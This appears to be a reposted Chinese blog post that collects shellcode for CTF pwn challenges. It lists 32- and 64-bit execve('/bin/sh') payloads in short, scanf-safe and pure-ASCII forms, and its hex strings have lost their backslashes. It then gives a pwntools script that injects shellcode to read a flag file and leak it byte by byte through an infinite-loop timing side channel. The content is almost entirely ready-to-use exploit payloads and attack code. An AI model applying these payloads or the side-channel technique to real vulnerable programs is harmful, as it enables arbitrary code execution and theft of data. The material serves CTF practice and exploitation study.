我是靠谱客的博主 烂漫小兔子,最近开发中收集的这篇文章主要介绍pwn题shellcode收集shellcode --> execveshellcode --> cmp flag byte总结,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Write Up

  • shellcode --> execve
  • shellcode --> cmp flag byte
  • 总结

shellcode --> execve

  这里对pwn中使用到的shellcode做了一个汇总,方便大家参考和使用。

# 32位 短字节shellcode --> 21字节
x6ax0bx58x99x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9xcdx80

# 32位 纯ascii字符shellcode
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA

# 32位 scanf可读取的shellcode
xebx1bx5ex89xf3x89xf7x83xc7x07x29xc0xaax89xf9x89xf0xabx89xfax29xc0xabxb0x08x04x03xcdx80xe8xe0xffxffxff/bin/sh

# 64位 scanf可读取的shellcode 22字节
x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fxb0x3bx99x0fx05

# 64位 较短的shellcode  23字节
x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fx6ax3bx58x99x0fx05

# 64位 纯ascii字符shellcode
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

shellcode --> cmp flag byte

  下面的代码是在无法输出flag时,尝试用shellcode实现一个爆破逻辑,当flag的字符与我们猜想的字符一致时代码将会陷入循环,如此来爆破flag。

from pwn import *
import string


# # 这里的pwn只是为了演示流程,具体逻辑还得看题目
def pwn(p, index, ch):
	code = "push 0x67616c66; mov rdi, rsp; mov rsi, 0x0; mov rax, 0x2; syscall;"  # open
	code += "mov rdi, 0x3; mov rsi, rsp; mov rdx, 0x30; mov rax, 0x0; syscall;"   # read
	code += "cmp byte ptr[rsi+{}], {}; jz loop;".format(index, ch)                # cmp
	code += "xor edi, edi; mov rax, 60; syscall; loop: jmp loop;"                 # 等则进入死循环,否则exit(0)
	code = b"x90"*20+asm(code)  # 前面加了x90滑板

	p.send(code)

def main():
    flag = ""
    flag_str = string.printable
    for offset in range(0x30):
        index = 0
        while True:
            p = process("./babystack")
            try:
                ch = flag_str[index]
                print(">>>>>>>>>>> test ch {}".format(ch))
                pwn(p, offset, ord(flag_str[index]))
                p.recv(timeout=1)
                flag += ch
                print(">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> find flag: ", flag)
                p.close()
                index += 1
                break
            except Exception as e:
                # 捕获p.recv产生的错误
                print("="*10)
                print(e)
                print("="*10)
                try:
                    p.close()
                    index += 1
                except Exception as e:
                    # 捕获p.close产生的错误
                    print("="*10)
                    print(e)
                    print("="*10)
                    continue
        if flag[-1] == "}":
        	# 判断flag是否已经结束
            break

main()

总结

不忘初心,砥砺前行!

最后

以上就是烂漫小兔子为你收集整理的pwn题shellcode收集shellcode --> execveshellcode --> cmp flag byte总结的全部内容,希望文章能够帮你解决pwn题shellcode收集shellcode --> execveshellcode --> cmp flag byte总结所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(48)

评论列表共有 0 条评论

立即
投稿
返回
顶部